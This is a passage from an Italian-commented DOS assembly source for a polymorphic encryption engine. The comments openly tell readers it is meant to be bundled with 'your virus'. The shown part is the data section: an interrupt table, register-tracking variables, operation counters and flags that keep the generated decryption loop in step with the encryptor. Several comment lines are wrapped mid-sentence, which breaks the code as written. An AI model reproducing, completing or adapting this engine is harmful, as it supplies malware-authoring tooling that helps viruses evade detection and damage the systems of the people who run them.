sono da
; interpretarsi come funzioni (quindi byte da mettere in AH)
all'int 21h,
; mentre le ultime due sono l'int 11h (get enviroment) e int 12h
(get avaiable
; memory in kbs).
inters db 019h,054h,00bh,018h,011h,012h
;----------------------------------------------------------------------------------
; tutto quello oltre a questa riga sono solo variabili
temporanee usate dalla
; poly, quindi non ha senso includerle con il body del vostro
virus ma tenere
; solo abbastanza spazio in mem
poly_mem_start:
given_si dw 00h ; pointer a cosa encrittare
lenght dw 00h ; lunghezza da encrittare
pointer_ass dw 00h ; dove viene assegnato il pointer
initial_key dw 00h ; chiave iniziale
decr_begin dw 00h ; dove comincia la crittazione
counter_ass dw 00h ; dove viene assegnato il counter
;----------------------------------------------------------------------------------
; queste tre variabili contengono 0ffh se il rispettivo registro
non e'
; stato ancora settato, mentre contengono il codice in bit del
registro
; scelto se ne e' gia' stato uno
already_pnt db 0ffh ; registro come pointer
already_cnt db 0ffh ; registro come counter
already_key db 0ffh ; registro come key
;----------------------------------------------------------------------------------
; queste contengono il numero di operazioni di un dato tipo gia'
fatte.
change_key db 00h ; operazione di cambio chiave
dec_cnt_nr db 00h ; operazione di decremento counter
inc_pnt_nr db 00h ; operazione di incremento pointer
math_opdone db 00h ; operazione matematica di crittazione
; queste due variabili sono usate per segnalare, quando e' il
caso, l'ordine
; nel quale e' stato creato il decryption loop. Infatti se uno o
due incrementi
; al puntatore avvengono prima dell'operazione matematica allora
dovremo stare
; attenti a cominciare anche l'encrypting uno o due byte piu'
tardi. Lo stesso
; discorso vale per la chiave: se questa e' stata modificata una
volta prima
; dell'operazione matematica allora anche nell'encryptor dovremo
modificarla
; prima di usarla.
pnt_sba db 00h ; numero di incs prima di math op
pre_kdn db 00h ; segnala se key cambiata prima
;----------------------------------------------------------------------------------
poly_mem_end:
; Grandezza totale variabili della poly in memoria (quindi se
usata nel
; vostro virus non ha senso mettere anche queste nel file, ma vi
basta
; allocare abbastanza mem)
poly_mem = (offset
poly_mem_end - offset poly_mem_start)